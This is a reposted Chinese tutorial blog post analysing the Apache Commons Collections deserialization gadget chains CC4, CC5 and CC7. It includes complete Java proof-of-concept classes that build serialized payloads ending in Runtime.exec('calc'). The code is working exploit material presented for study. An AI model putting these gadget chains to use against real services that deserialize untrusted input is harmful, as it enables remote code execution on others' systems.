自学内容网 自学内容网

Java反序列化之CommonsCollections4、5、7 链的学习

一、前言

前面的文章中,基本把CC链的关键部分学习的差不多了,利用过程也是比较清晰了,接下来把 CommonsCollections 4、5、7 利用链学习下,扩展下思路

二、CommonsCollections4 利用链的学习

运行环境:
java 1.8.0_71

commons-collections4.0

1、利用链说明

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses.newInstance()
                                            Runtime.exec()

整体来说,其实没有什么新的东西,类似CC2 和 CC3链的结合体, 用了PriorityQueue类,同时又避免用 IvokerTranformer;

测试POC如下:

TemplatesImplForCC4.java

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class TemplatesImplForCC4 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "Hello");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer faketransformer = (Transformer) new ConstantTransformer(1);

        Transformer transformer = (Transformer) new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});


        Comparator comparator = new TransformingComparator(faketransformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(TrAXFilter.class);
        queue.add(TrAXFilter.class);

        setFieldValue(comparator, "transformer", transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();


    }
}

三、CommonsCollections5 利用链的学习

运行环境:
java 1.8.0_71

commons-collections 3.2.1


    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections

/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */

CC5链的利用还是着眼于 LazyMap.get(), 这里是找到 org.apache.commons.collections.keyvalue.TiedMapEntry,只是CC6链中是用org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()方法调用其getValue() 方法, CC5链用的是 org.apache.commons.collections.keyvalue.TiedMapEntry.toString() 方法

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

也是调用getValue,跟之前的分析一致,测试代码

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class CC5Test {
    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        tiedmap.toString();
    }
}

所以,接下来要找的就是哪里在反序列化的时候会调用TiedMapEntry#toString() 

这个类就是  javax.management.BadAttributeValueExpException , 其readObject() 方法会调用toString()

查看下这个 valObj  是从哪里来的

这里是从Field 取出来的, 那么,利用方式就很清晰了, 通过设置   javax.management.BadAttributeValueExpException  中 val 的值为 TiedMapEntry对象即可触发命令执行,我们尝试下,发现没成功。

因为,如果一开始就给 val 赋值为 TiedMapEntry , 那么在赋值的时候就会触发rce

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

如果我们直接将构造好的 TiedMapEntry 传进去,实例化的时候就会触发toString,此时 val 的值为 ,这就导致后续反序列化的时候不会触发rce ,因为这个时候的 val 已经不是 TiedMapEntry对象了。 所以这里我们需要用反射的方式

反射poc如下:

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections5 {
    public static void main(String[] args) throws Exception{
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})
        });

        HashMap innerMap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innerMap, chain);
        TiedMapEntry tiedMap = new TiedMapEntry(map, 123);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(123);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(poc);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

四、CommonsCollections7 利用链的学习

首先,看看利用链

/* Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

后半段还是 LazyMap#get 的利用链, 主要观察前半段,在CC1 的利用链中是通过 AnnotationInvocationHandler#invoke 来触发恶意代理handler 调用其 invoker 方法从而触发 LazyMap#get 方法    但是 CC7 链中是通过 org.apache.commons.collections.map.AbstractMapDecorator#AbstractMap#equals 来触发对 LazyMap#get 方法的调用。

通过利用链,我们正向分析下,入口点是  java.util.Hashtable.readObject, 跟进

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

在最后调用的是 reconstitutionPut方法,这里的key、value值可以通过 hashtable中的put方法进行添加。 继续跟进  reconstitutionPut 方法

这里关键是 equals 方法的调用,先进入for 语句, 然后是个if判断语句, 必须是 e.hash == hash 判定为真才会执行后面的 e.key.equals(key) 。 

其中 hsah  就是 key.hashCode() , 那么再看 e是什么?

Entry<?,?> e = tab[index] ; e != null ; e = e.next

继续查看 index是什么

int index = (hash & 0x7FFFFFFF) % tab.length;

所以大概意思就是 ,先计算 key 的 hashCode(即hash值), 然后根据hash值 计算存储索引 index, 再通过 for循环得到 e.next 也就是上一个 map 键值对, 之后进入 if 判断两者 hash值是否相同, 找不到就把这个键值对加入到tab中, 如果hash相同的话,就进入 e.key.queals(key) 中。

那么是不是直接put两个key值一样的键值对进去呢,答案是不行,因为在 readObject中进行了判断:

可以看到还原table数组时是根据 elements 来判断的, 而如果key 相同时 element 计算会把两个map 计算为只有一个map。所以这里关键点是 ,put两个key不一样的 键值对,但是hash要相同,故这里可以用 hash碰撞来解决。

继续看调用的 equals 方法, 在利用链中 e.key 为LazyMap 对象,但是 LazyMap 对象没有 equals 方法, 不过它 继承了  AbstractMapDecorator 类,所以会调用AbstractMapDecorator 类 equals 方法

继续跟进会调用 map.equals()  ,而这里的map是什么呢?是在  Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);  所以这里的map 就是 HashMap, 但是 HashMap也没有 equals 方法,但是其继承了 AbstractMap 类。

所以这部分的利用就是 e.key 是 LazyMap的话,并且LazyMap 经过 LazyMap.decorate 包装了 HashMap,所以会依次调用 AbstractMapDecorator.equals() ---》 AbstractMap.equals()

在这里进行了 get方法的调用,条件是 value 不是 null时,同时m 为 LazyMap才能触发rce。 这里m是为传入 equals 的Object, 

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。 所以也就是java.util.Hashtable.HashTable#reconstitutionPut 传入的key 也必须是 LazyMap对象。

构造测试poc如下:

package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc.exe"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

注意点1: 为什么要用 Lazy2.remove("yy") ;  删除yy键值对?

因为hashtable.put(lazyMap2, 2);的时候处理和反序列化的处理类似,提前触发了一遍get,跟进put

这里会跟上面说的一样在进行判断的时候直接调用到get方法,然后提前执行给的ChainedTransformer, 还有在get执行的时候会添加key值,导致反序列化时就不能执行后续反射修改的恶意的transformers了。

所以在最后要删除掉 Lazy2的 yy键值对

继续改造下,既然上面计算hash调用的时候调用了 hashCode 方法,是不是可以结合CC6, 把key变成 TiedMapEntry , 然后触发 TiedMapEntry 的 hashCode 方法呢

构造poc:

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
        import org.apache.commons.collections.functors.ChainedTransformer;
        import org.apache.commons.collections.functors.ConstantTransformer;
        import org.apache.commons.collections.functors.InvokerTransformer;
        import org.apache.commons.collections.keyvalue.TiedMapEntry;
        import org.apache.commons.collections.map.LazyMap;
        import java.io.*;
        import java.util.HashMap;
        import java.util.Hashtable;
        import java.util.Map;
        import java.lang.reflect.Field;

public class TiedMapforCC7 {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));
        Lazy.put("zZ",1);

        TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");
        Hashtable hashtable = new Hashtable();
        hashtable.put(tie,1);

        Lazy.remove("aaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}


原文地址:https://blog.csdn.net/youuzi/article/details/143717797

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!